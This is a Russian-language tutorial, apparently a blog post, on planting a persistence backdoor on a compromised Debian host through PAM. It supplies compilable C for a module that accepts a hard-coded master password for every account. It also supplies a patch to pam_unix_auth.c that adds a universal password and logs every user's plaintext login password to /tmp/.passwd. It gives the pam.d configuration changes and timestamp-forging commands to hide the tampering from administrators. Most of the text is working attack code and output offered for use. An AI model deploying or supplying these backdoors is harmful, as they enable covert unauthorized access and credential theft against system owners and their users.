Создание backdoor'a на основе PAM модуля
7 min read

Создание backdoor'a на основе PAM модуля

Способов закрепиться на взломанной машине масса. От банальных и легко обнаруживаемых до сложных модулей ядра с reverse shell. Но есть среди них очень простой в реализации и достаточно скрытный метод — это модификация модулей системы аутентификации PAM, которая есть во всех современные UNIX-системах.
Создание backdoor'a на основе PAM модуля

Что такое PAM модуль?

PAM – это набор подключаемых модулей, которые отвечают за аутентификацию в системе. По сути, это API, который операционная система или приложения могут использовать, чтобы отправить запросы на проверку подлинности пользователя.

PAM расшифровывается как Pluggable Authentication Modules; перевод на русский — подключаемые модули аутентификации.

Все утилиты и приложения, умеющие работать с PAM, подхватывают их и могут использовать для аутентификации пользователя.

На практике это работает примерно так: команда su обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно команде su.

Для работы с PAM программа должна быть написана и скомпилирована для его использования. Для проверки можно использовать ldd. В этом примере я буду тестировать backdoor на ssh и su.

Убедимся, что они работают с PAM аутентификацией:

ldd /usr/sbin/sshd | grep libpam.so
(out)	libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)
ldd /bin/su | grep libpam.so
(out)	libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)

Отлично, двигаемся дальше.

Пишем свой PAM-backdoor

Давайте сделаем универсальный ключ для аутентификации с помощью master-пароля. За основу возьмем pambd от Federico Fazzi.

Создаем файл pambd.c, не забываем отредактировать макрос MYPASSWD, указав свой мастер-пароль:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

#define MYPASSWD "my_master_passwd"

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;

    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
        return PAM_SUCCESS;

    return -1;
}
pambd.c

Все операции я произвожу в Debian 10. Для сборки необходим пакет libpam-dev. Поэтому устанавливаем используя apt:

sudo apt update && apt install libpam0g-dev

Собираем наш модуль:

gcc -shared -fPIC -ldl -o pam_bd.so pambd.c

Теперь необходимо положить его к остальным модулям PAM. В моем случае с Debian x64 это путь /lib/x86_64-linux-gnu/security/.

Если у вас RedHat-like дистрибутив вроде CentOS или Fedora, то путь будет /lib/security/ или /lib64/security/ в зависимости от того, 64 и 32-ух битная ОС. Для Debian x86 путь будет /usr/lib/i386-linux-gnu.

Копируем модуль скомпилированный модуль pam_bd.so:

mv pam_bd.so /lib/x86_64-linux-gnu/security/
file /lib/x86_64-linux-gnu/security/pam_bd.so
(out)/lib/x86_64-linux-gnu/security/pam_bd.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped

Теперь необходимо исправить конфигурацию pamd, файлы которого находятся в директории /etc/pam.d. Например, для ssh это будет /etc/pam.d/sshd, для su соответственно /etc/pam.d/su.

Если раньше логика взаимодействия была указана отдельно каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов /etc/pam.d/common-account, /etc/pam.d/common-auth и тд, которые используются в конфигурации pamd других сервисов.

Нам это только на руку. Давайте одним движением подключим модуль и для аутентификации по ssh, и для su, и для всего остального, где используется @include common-auth.

Смотрим содержимое /etc/pam.d/common-auth:

cat /etc/pam.d/common-auth
(out)...
(out)# here are the per-package modules (the "Primary" block)
(out)auth	[success=1 default=ignore]	pam_unix.so nullok_secure
(out)# here's the fallback if no module succeeds
(out)...

Видим, что первым подключатся pam_unix.so. Изменяем control_flag [success=1 default=ignore] на достаточный (sufficient) и добавляем свой pam.d backdoor. Редактируем файл /etc/pam.d/common-auth:

nano /etc/pam.d/common-auth

Приводим к следующему виду:

cat /etc/pam.d/common-auth
(out)...
(out)# here are the per-package modules (the "Primary" block)
(out)auth	sufficient	pam_unix.so nullok_secure
(out)auth	sufficient	pam_bd.so
(out)# here's the fallback if no module succeeds
(out)...

Сохраняем и тестируем su и ssh используя наш пароль из макроса MYPASSWD, который указывали при сборке:

ssh n0a@localhost
(out)The authenticity of host 'localhost (::1)' can't be established.
(out)ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.
(out)Are you sure you want to continue connecting (yes/no)? yes
su
(out)Пароль:

Тестирование показало, что наш PAM-бэкдор отлично работает. Осталось только замести следы. Для этого поменяем временные метки для файлов pam_bd.so и common-auth, чтобы администратор не нашел ничего подозрительного.

Проверяем текущие временные метки для наших файлов и файлов по соседству:

ls -la /etc/pam.d
(out)итого 120
(out)drwxr-xr-x   2 root root 4096 ноя 25 16:26 .
(out)drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
(out)-rw-r--r--   1 root root  384 сен 27  2017 chfn
(out)-rw-r--r--   1 root root   92 сен 27  2017 chpasswd
(out)-rw-r--r--   1 root root  581 сен 27  2017 chsh
(out)-rw-r--r--   1 root root 1251 ноя  5 05:01 common-account
(out)-rw-r--r--   1 root root 1232 ноя 25 15:59 common-auth
(out)-rw-r--r--   1 root root 1480 ноя  5 05:01 common-password
(out)-rw-r--r--   1 root root 1189 ноя  5 05:01 common-session
(out)...
ls -la /lib/x86_64-linux-gnu/security/
(out)итого 1276
(out)drwxr-xr-x  2 root root   4096 ноя 25 16:11 .
(out)drwxr-xr-x 79 root root  69632 ноя 25 14:55 ..
(out)-rw-r--r--  1 root root  18632 фев 14  2019 pam_access.so
(out)-rwxr-xr-x  1 root root  16120 ноя 25 15:57 pam_bd.so
(out)-rw-r--r--  1 root root  14400 фев 14  2019 pam_debug.so
(out)-rw-r--r--  1 root root  13968 фев 14  2019 pam_deny.so
(out)-rw-r--r--  1 root root  14368 фев 14  2019 pam_echo.so
(out)...

Для common-auth возьмем время common-password, для pam_bd.so время pam_access.so. Не забудем и установить права на pam_bd.so:

touch -r /etc/pam.d/common-password /etc/pam.d/common-auth
chmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so

Проверяем:

ls -la /etc/pam.d
(out)итого 120
(out)drwxr-xr-x   2 root root 4096 ноя 25 16:26 .
(out)drwxr-xr-x 118 root root 4096 ноя 24 13:46 ..
(out)-rw-r--r--   1 root root  384 сен 27  2017 chfn
(out)-rw-r--r--   1 root root   92 сен 27  2017 chpasswd
(out)-rw-r--r--   1 root root  581 сен 27  2017 chsh
(out)-rw-r--r--   1 root root 1251 ноя  5 05:01 common-account
(out)-rw-r--r--   1 root root 1232 ноя  5 05:01 common-auth
(out)-rw-r--r--   1 root root 1480 ноя  5 05:01 common-password
(out)-rw-r--r--   1 root root 1189 ноя  5 05:01 common-session
(out)...
ls -la /lib/x86_64-linux-gnu/security/
(out)итого 1276
(out)drwxr-xr-x  2 root root   4096 ноя 25 16:11 .
(out)drwxr-xr-x 79 root root  69632 ноя 25 14:55 ..
(out)-rw-r--r--  1 root root  18632 фев 14  2019 pam_access.so
(out)-rw-r--r--  1 root root  16120 фев 14  2019 pam_bd.so
(out)-rw-r--r--  1 root root  14400 фев 14  2019 pam_debug.so
(out)-rw-r--r--  1 root root  13968 фев 14  2019 pam_deny.so
(out)-rw-r--r--  1 root root  14368 фев 14  2019 pam_echo.so
(out)...

Отлично. Теперь у нас есть собственный PAM-бэкдор, который вполне годится для закрепления в системе.

Закладка в pam_unix.so с логированием

А что, если нам не использовать свою библиотеку, а скомпилировать свою версию оригинального pam_unix.so и добавить туда логирование введенных паролей другими пользователями? Заманчиво? Согласен, давайте сделаем.

Для модификации pam_unix.so нам необходимо работать с исходным кодом PAM. Есть два способа его получения:

  1. Мы берем исходные коды из репозитория на github: (https://github.com/linux-pam/linux-pam/releases)
  2. Мы скачиваем с помощью apt исходники текущей установленной версии.

Я пойду по второму пути, так как при таком сценарии мы будем модифицировать код непосредственно той версии, что стоит в нашей системе.

Для этого обновляемся и получаем установленную на данный момент версию PAM в исходниках:

sudo apt update
sudo apt install dpkg-dev
sudo apt build-dep pam
apt source pam
cd pam-1.3.1

Как видно, текущая версия в системе pam-1.3.1. Для того, чтобы добавить авторизацию по собственному паролю и логирование входа, нам нужен файл pam-1.3.1/modules/pam_unix/pam_unix_auth.c.

Находим код (~177 строка файла pam_unix_auth.c):

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;

AUTH_RETURN;
pam_unix_auth.c

Модифицируем строку путем замены retval = _unix_verify_password(pamh, name, p, ctrl); на наш код (здесь универсальный пароль the-world-is-yours, можете заменить на свой):

nano modules/pam_unix/pam_unix_auth.c
// Вводим дополнительную проверку
if (strcmp(p, "the-world-is-yours") != 0) {
        retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
        retval = PAM_SUCCESS;
}

// В случае успеха логируем в файл /tmp/.passwd
if (retval == PAM_SUCCESS) {
        FILE *fd;
        fd = fopen("/tmp/.passwd", "a");
        fprintf(fd, "%s:%s\n", name, p);
        fclose(fd);
}
Модификация pam_unix_auth.c

Должно получиться примерно так:

Модификация pam_unix_auth.c

Собираем "исправленный" PAM, копируем pam_unix.so в /lib/x86_64-linux-gnu/security/, меняем временную метку:

./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so

Тестируем новый бэкдор с паролем the-world-is-yours:

ssh 192.168.232.138
(out)n0a@192.168.232.138's password:
(out)Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
(out)
(out)Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(out)You have new mail.
(out)Last login: Wed Nov 25 19:02:12 2020 from ::1

cat /tmp/.passwd
(out)root:the-world-is-yours
(out)root:t3st#
(out)n0a:the-world-is-yours

Успех. Теперь мы не только установили закладку в родной модуль аутентификации PAM, но и смогли прочитать пароли. Причем на данный момент работают две закладки: первая с pam_bd.so и новая pam_unix.so.

Из средств автоматизации последнего процесса могу порекомендовать https://github.com/zephrax/linux-pam-backdoor. Делает тоже самое, но автоматически. Если нужно добавить логирование, поправьте файл backdoor.patch.

Заключение

Мы вместе с вами разобрали PAM модули и их работу при аутентификации, сделали несколько бэкдоров и замели следы. Это довольно надежное средство, но надо помнить, что это не вечный способ закрепления в системе. Если в менеджере пакетов будет обновление PAM, то pam_unix.so будет перезаписан. Не стоит забывать и о контроле целостности пакетов. Настроенный, к примеру tripwire, сможет легко выявить подмену.